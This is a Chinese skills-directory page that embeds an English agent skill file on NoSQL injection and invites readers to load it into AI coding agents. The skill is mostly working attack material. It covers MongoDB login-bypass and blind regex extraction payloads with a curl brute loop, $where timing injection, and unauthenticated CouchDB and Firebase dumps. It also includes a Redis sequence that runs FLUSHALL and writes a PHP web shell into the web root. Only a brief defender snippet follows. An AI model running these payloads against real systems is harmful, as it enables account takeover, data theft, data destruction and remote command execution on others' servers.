nosqli
它能做什么
这项技能说明当用户输入成为查询的一部分时,MongoDB 等 NoSQL 数据库如何被滥用。适合检查登录和搜索功能的安全测试人员。
适用场景
- ✓当登录或搜索使用 MongoDB 或类似数据库并接受 JSON 输入时。
- ✓当扫描显示某个数据库可能允许未经身份验证的读取时。
- ✓当你想检查操作符输入能否绕过密码检查时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,我应用的登录功能是否接受特殊查询操作符来代替密码?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体发送包含不等于或正则等操作符的 JSON 来代替普通值,然后检查响应是否发生变化,从而表明查询已被改动。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
NoSQL Injection
NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.
1. MongoDB — most common target
Auth bypass
// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}} // returns first user
{"user": "admin", "pass": {"$gt": ""}} // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}} // blind char extraction
Server-side JS injection
{"$where": "this.user == 'admin' && sleep(5000)"} // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}
$where was deprecated in Mongo 4.4 — still appears in legacy.
Operator extraction (blind)
# Burp Intruder w/ payload list
for char in {a..z}; do
curl -s -X POST $TARGET/login \
-d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
| grep -q "success" && echo "char: $char"
done
2. CouchDB
# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document
3. Firebase Realtime Database
# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"
4. Redis
# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE
5. Tools
- NoSQLMap — automated mongo injection (
nosqlmap.py) - mongoaudit — config scanner
- Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
- fuzzdb — has NoSQL payload variants
6. PoC
# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
| jq
# If logged-in-as-admin → critical
7. Severity
| Bug | Severity |
|---|---|
Auth bypass via $ne |
Critical 9.8 |
| Blind char extraction of all user data | Critical 9.0 |
$where JS injection → RCE-adjacent (mongo runs the JS) |
Critical 9.8 |
| Public CouchDB / Firebase | Critical (depends on data sensitivity) |
| Unauth Redis on internal net | High 7-8 |
8. Defender
// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();
// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');
// Disable $where globally
mongoose.set('strictQuery', true);
Cross-references
- Upstream catalog:
skills/_corpus/payloads/NoSQL Injection/ - SQLi (different attack class, similar mindset):
skills/exploit/web/sqli.md
常见问题
它涵盖哪些数据库?
它主要关注 MongoDB,也涵盖 CouchDB、Firebase Realtime Database 和 Redis 的相关模式。
在看不到结果的情况下能提取数据吗?
能。该技能描述了通过逐个字符检查来进行的盲提取。
它涵盖服务端 JavaScript 吗?
涵盖。它提到了 $where 操作符,在较旧的 MongoDB 版本中它可以运行 JavaScript。
详情
作者的原始描述
NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.
热度
- GitHub 星标
- 6.5k
- 排名
- #14072
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …